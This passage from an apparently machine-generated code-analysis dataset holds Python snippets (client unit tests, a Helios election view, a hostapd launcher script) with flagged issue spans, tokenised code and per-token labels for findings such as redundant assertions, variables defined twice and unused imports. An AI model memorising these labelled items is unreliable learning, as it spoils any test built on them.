"end_line": 166, "end_column": 58 }, { "span": "self.assertTrue(result is NotImplemented)", "start_line": 170, "start_column": 4, "end_line": 170, "end_column": 45 }, { "span": "self.assertTrue(self.cl.GetFilters() is NotImplemented)", "start_line": 173, "start_column": 4, "end_line": 173, "end_column": 59 }, { "span": "self.assertTrue(result is NotImplemented)", "start_line": 177, "start_column": 4, "end_line": 177, "end_column": 45 }, { "span": "self.assertTrue(self.cl.ReplaceFilter(\n uuid=\"c6a70f02-facb-4e37-b344-54f146dd0396\",\n priority=1,\n predicates=[[\"jobid\", [\">\", \"id\", \"watermark\"]]],\n action=\"CONTINUE\",\n reason_trail=[\"testReplaceFilter\", \"myreason\", utils.EpochNano()],\n ) is NotImplemented)", "start_line": 180, "start_column": 4, "end_line": 186, "end_column": 24 }, { "span": "self.assertTrue(self.cl.AddFilter(\n priority=1,\n predicates=[[\"jobid\", [\">\", \"id\", \"watermark\"]]],\n action=\"CONTINUE\",\n reason_trail=[\"testAddFilter\", \"myreason\", utils.EpochNano()],\n ) is NotImplemented)", "start_line": 189, "start_column": 4, "end_line": 194, "end_column": 24 }, { "span": "self.assertTrue(self.cl.DeleteFilter(\n uuid=\"c6a70f02-facb-4e37-b344-54f146dd0396\",\n ) is NotImplemented)", "start_line": 197, "start_column": 4, "end_line": 199, "end_column": 24 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Get", "Info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "self_", "._", "cl_", "._", "Get", "Info_", "(_", ")_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Prepare", "Export_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "cl_", "._", "Prepare", "Export_", "(_", "\"", "inst", "1.e", "xa", "mple", ".", "com", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "constants_", "._", "EXPORT", "\\u", "MODE", "\\u", "LOCAL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "result_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "rap", "i_", "._", "testutils_", "._", "Veri", "fication", "Error_", ",_", "self_", "._", "cl_", "._", "Prepare", "Export_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "inst", "1.e", "xa", "mple", ".", "com", "\"_", ",_", "\"###", "invalid", "###", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Get", "Jobs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "self_", "._", "cl_", "._", "Get", "Jobs_", "(_", ")_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Query_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "cl_", "._", "Query_", "(_", "constants_", "._", "QR", "\\u", "NODE_", ",_", "[_", "\"", "name", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "result_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Query", "Fields_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "cl_", "._", "Query", "Fields_", "(_", "constants_", "._", "QR", "\\u", "INSTANCE", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "result_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Cancel", "Job_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "self_", "._", "cl_", "._", "Cancel", "Job_", "(_", "\"", "1", "\"_", ")_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Get", "Nodes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "self_", "._", "cl_", "._", "Get", "Nodes_", "(_", ")_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Get", "Instances_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "self_", "._", "cl_", "._", "Get", "Instances_", "(_", ")_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Get", "Groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "self_", "._", "cl_", "._", "Get", "Groups_", "(_", ")_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Wait", "For", "Jo", "b", "Change_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "cl_", "._", "Wait", "For", "Jo", "b", "Change_", "(_", "\"", "1", "\"_", ",_", "[_", "\"", "id", "\"_", "]_", ",_", "None_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "result_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Get", "Filters_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "self_", "._", "cl_", "._", "Get", "Filters_", "(_", ")_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Get", "Filter_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "cl_", "._", "Get", "Filter_", "(_", "\"", "436", "4c", "043", "-", "f2", "32", "-", "4", "1e", "3", "-", "837", "f", "-", "f1", "ce", "846", "f2", "1d", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "result_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Replace", "Filter_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "self_", "._", "cl_", "._", "Replace", "Filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "uuid_", "=_", "\"", "c6", "a7", "0f", "02", "-", "fac", "b", "-", "4e", "3", "7", "-", "b3", "4", "4", "-", "5", "4f", "146", "dd", "039", "6", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "priority_", "=_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "predicates_", "=_", "[_", "[_", "\"", "jobi", "d", "\"_", ",_", "[_", "\">\"_", ",_", "\"", "id", "\"_", ",_", "\"", "watermark", "\"_", "]_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "=_", "\"", "CONTINUE", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reason", "\\u", "trail_", "=_", "[_", "\"", "test", "Replace", "Filter", "\"_", ",_", "\"", "myre", "aso", "n", "\"_", ",_", "utils_", "._", "Epoch", "Nano", "_", "(_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Add", "Filter_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "self_", "._", "cl_", "._", "Add", "Filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "priority_", "=_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "predicates_", "=_", "[_", "[_", "\"", "jobi", "d", "\"_", ",_", "[_", "\">\"_", ",_", "\"", "id", "\"_", ",_", "\"", "watermark", "\"_", "]_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "=_", "\"", "CONTINUE", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reason", "\\u", "trail_", "=_", "[_", "\"", "test", "Add", "Filter", "\"_", ",_", "\"", "myre", "aso", "n", "\"_", ",_", "utils_", "._", "Epoch", "Nano", "_", "(_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "is_", "Not", "Implemented_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Inp", "ut", "Test", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Delete", "Filter_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "self_", "._", "cl_", "._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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Variable defined multiple times
benadida/helios-server/helios/views.py
[ { "content": "@election_view()\ndef one_election_view(request, election):\n user = get_user(request)\n admin_p = security.user_can_admin_election(user, election)\n can_feature_p = security.user_can_feature_election(user, election)\n \n notregistered = False\n eligible_p = True\n \n election_url = get_election_url(election)\n election_badge_url = get_election_badge_url(election)\n status_update_message = None\n\n vote_url = \"%s/booth/vote.html?%s\" % (settings.SECURE_URL_HOST, urllib.urlencode({'election_url' : reverse(one_election, args=[election.uuid])}))\n\n test_cookie_url = \"%s?%s\" % (reverse(test_cookie), urllib.urlencode({'continue_url' : vote_url}))\n \n if user:\n voter = Voter.get_by_election_and_user(election, user)\n \n if not voter:\n try:\n eligible_p = _check_eligibility(election, user)\n except AuthenticationExpired:\n return user_reauth(request, user)\n notregistered = True\n else:\n voter = get_voter(request, user, election)\n\n if voter:\n # cast any votes?\n votes = CastVote.get_by_voter(voter)\n else:\n votes = None\n\n # status update message?\n if election.openreg:\n if election.voting_has_started:\n status_update_message = u\"Vote in %s\" % election.name\n else:\n status_update_message = u\"Register to vote in %s\" % election.name\n\n # result!\n if election.result:\n status_update_message = u\"Results are in for %s\" % election.name\n \n trustees = Trustee.get_by_election(election)\n\n # should we show the result?\n show_result = election.result_released_at or (election.result and admin_p)\n\n return render_template(request, 'election_view',\n {'election' : election, 'trustees': trustees, 'admin_p': admin_p, 'user': user,\n 'voter': voter, 'votes': votes, 'notregistered': notregistered, 'eligible_p': eligible_p,\n 'can_feature_p': can_feature_p, 'election_url' : election_url, \n 'vote_url': vote_url, 'election_badge_url' : election_badge_url,\n 'show_result': show_result,\n 'test_cookie_url': test_cookie_url})", "metadata": "root.one_election_view", "header": "['module', '___EOS___']", "index": 278 } ]
[ { "span": "status_update_message ", "start_line": 316, "start_column": 6, "end_line": 316, "end_column": 27 }, { "span": "status_update_message ", "start_line": 318, "start_column": 6, "end_line": 318, "end_column": 27 } ]
[ { "span": "status_update_message ", "start_line": 322, "start_column": 4, "end_line": 322, "end_column": 25 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "election", "\\u", "view_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "one", "\\u", "election", "\\u", "view_", "(_", "request_", ",_", "election_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "get", "\\u", "user_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "admin", "\\u", "p_", "=_", "security_", "._", "user", "\\u", "can", "\\u", "admin", "\\u", "election_", "(_", "user_", ",_", "election_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "can", "\\u", "feature", "\\u", "p_", "=_", "security_", "._", "user", "\\u", "can", "\\u", "feature", "\\u", "election_", "(_", "user_", ",_", "election_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "not", "registered_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eligible", "\\u", "p_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "election", "\\u", "url_", "=_", "get", "\\u", "election", "\\u", "url_", "(_", "election_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "election", "\\u", "badge", "\\u", "url_", "=_", "get", "\\u", "election", "\\u", "badge", "\\u", "url_", "(_", "election_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status", "\\u", "update", "\\u", "message_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vote", "\\u", "url_", "=_", "\"%", "s", "/", "boot", "h", "/", "vote", ".", "html", "?", "%", "s", "\"_", "%_", "(_", "settings_", "._", "SECU", "RE", "\\u", "URL", "\\u", "HOST_", ",_", "urllib_", "._", "urlencode_", "(_", "{_", "'", "election", "\\u", "url", "'_", ":_", "reverse_", "(_", "one", "\\u", "election_", ",_", "args_", "=_", "[_", "election_", "._", "uuid_", "]_", ")_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test\\u", "cookie", "\\u", "url_", "=_", "\"%", "s", "?", "%", "s", "\"_", "%_", "(_", "reverse_", "(_", "test\\u", "cookie_", ")_", ",_", "urllib_", "._", "urlencode_", "(_", "{_", "'", "continue", "\\u", "url", "'_", ":_", "vote", "\\u", "url_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "user_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "voter", "_", "=_", "Vote", "r_", "._", "get", "\\u", "by", "\\u", "election", "\\u", "and", "\\u", "user_", "(_", "election_", ",_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "voter", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eligible", "\\u", "p_", "=_", "\\u", "check", "\\u", "eli", "gib", "ility_", "(_", "election_", ",_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Auth", "entica", "tion", "Expire", "d_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "user", "\\u", "rea", "uth_", "(_", "request_", ",_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "not", "registered_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "voter", "_", "=_", "get", "\\u", "voter", "_", "(_", "request_", ",_", "user_", ",_", "election_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "voter", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "cast", " ", "any", " ", "vote", "s", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "votes_", "=_", "Cast", "Vote", "_", "._", "get", "\\u", "by", "\\u", "voter", "_", "(_", "voter", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "votes_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "status", " ", "update", " ", "message", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "election_", "._", "open", "reg_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "election_", "._", "voting", "\\u", "has", "\\u", "started_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "status", "\\u", "update", "\\u", "message_", "=_", "u", "\"", "Vote", " ", "in", " ", "%", "s", "\"_", "%_", "election_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "status", "\\u", "update", "\\u", "message_", "=_", "u", "\"", "Register", " ", "to", " ", "vote", " ", "in", " ", "%", "s", "\"_", "%_", "election_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "result", "!", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "election_", "._", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "status", "\\u", "update", "\\u", "message_", "=_", "u", "\"", "Result", "s", " ", "are", " ", "in", " ", "for", " ", "%", "s", "\"_", "%_", "election_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "trust", "ees", "_", "=_", "Trust", "ee_", "._", "get", "\\u", "by", "\\u", "election_", "(_", "election_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "shou", "ld", " ", "we", " ", "show", " ", "the", " ", "result", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "show", "\\u", "result_", "=_", "election_", "._", "result", "\\u", "released", "\\u", "at_", "or_", "(_", "election_", "._", "result_", "and_", "admin", "\\u", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "render", "\\u", "template_", "(_", "request_", ",_", "'", "election", "\\u", "view", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "election", "'_", ":_", "election_", ",_", "'", "trust", "ees", "'_", ":_", "trust", "ees", "_", ",_", "'", "admin", "\\u", "p", "'_", ":_", "admin", "\\u", "p_", ",_", "'", "user", "'_", ":_", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "voter", "'_", ":_", "voter", "_", ",_", "'", "vote", "s", "'_", ":_", "votes_", ",_", "'", "not", "register", "ed", "'_", ":_", "not", "registered_", ",_", "'", "eligible", "\\u", "p", "'_", ":_", "eligible", "\\u", "p_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "can", "\\u", "feature", "\\u", "p", "'_", ":_", "can", "\\u", "feature", "\\u", "p_", ",_", "'", "election", "\\u", "url", "'_", ":_", "election", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vote", "\\u", "url", "'_", ":_", "vote", "\\u", "url_", ",_", "'", "election", "\\u", "badge", "\\u", "url", "'_", ":_", "election", "\\u", "badge", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "show", "\\u", "result", "'_", ":_", "show", "\\u", "result_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "test\\u", "cookie", "\\u", "url", "'_", ":_", "test\\u", "cookie", "\\u", "url_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
nims11/hostapd.py/HPS.py
[ { "content": "#!/usr/bin/env python2.7\nimport subprocess, config, sys, config_gen, shlex, os, errno\nfrom time import sleep\nfrom common_methods import exit_script, exit_error\nfrom config_hostapd import generate_confs\n\n\n\t\t\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def make_dirs(conf):\n\tif conf.has_key('LOGFILE'):\n\t\tdirname = os.path.dirname(conf['LOGFILE'])\n\t\ttry:\n\t\t\tos.makedirs(dirname)\n\t\texcept OSError as exc:\n\t\t\tif exc.errno != errno.EEXIST:\n\t\t\t\traise", "metadata": "root.make_dirs", "header": "['module', '___EOS___']", "index": 6 }, { "content": "def start_hostapd():\n\tgenerate_confs()\n\tconf = config_gen.get_config()\n\tenv_tups = [(section+'_'+key, val) for section in conf.keys() for key, val in conf[section].items()]\n\tenv_dict = dict(os.environ.items() + env_tups)\n\t\n\tprint 'Starting...'\n\tfor section in config.script_order:\n\t\tif conf[section].has_key('SCRIPT'):\n\t\t\tmake_dirs(conf[section])\n\t\t\tprint 'Executing %s for [%s]...' % (conf[section]['SCRIPT'], section),\n\t\t\tret = subprocess.call(conf[section]['SCRIPT'], env=env_dict)\n\t\t\tif ret == 0:\n\t\t\t\tprint 'Done!'\n\t\t\telse:\n\t\t\t\tprint 'Failed!'\n\t\t\t\texit_error('[ERROR] Failed to initiate [%s], check log file %s' % (section, conf[section]['LOGFILE']))\n\t\tsleep(1)", "metadata": "root.start_hostapd", "header": "['module', '___EOS___']", "index": 15 }, { "content": "def stop_hostapd():\n\tconf = config_gen.get_config()\n\tenv_tups = [(section+'_'+key, val) for section in conf.keys() for key, val in conf[section].items()]\n\tenv_dict = dict(os.environ.items() + env_tups)\n\n\tprint 'Stopping...'\n\tfor section in config.script_order[::-1]:\n\t\tif 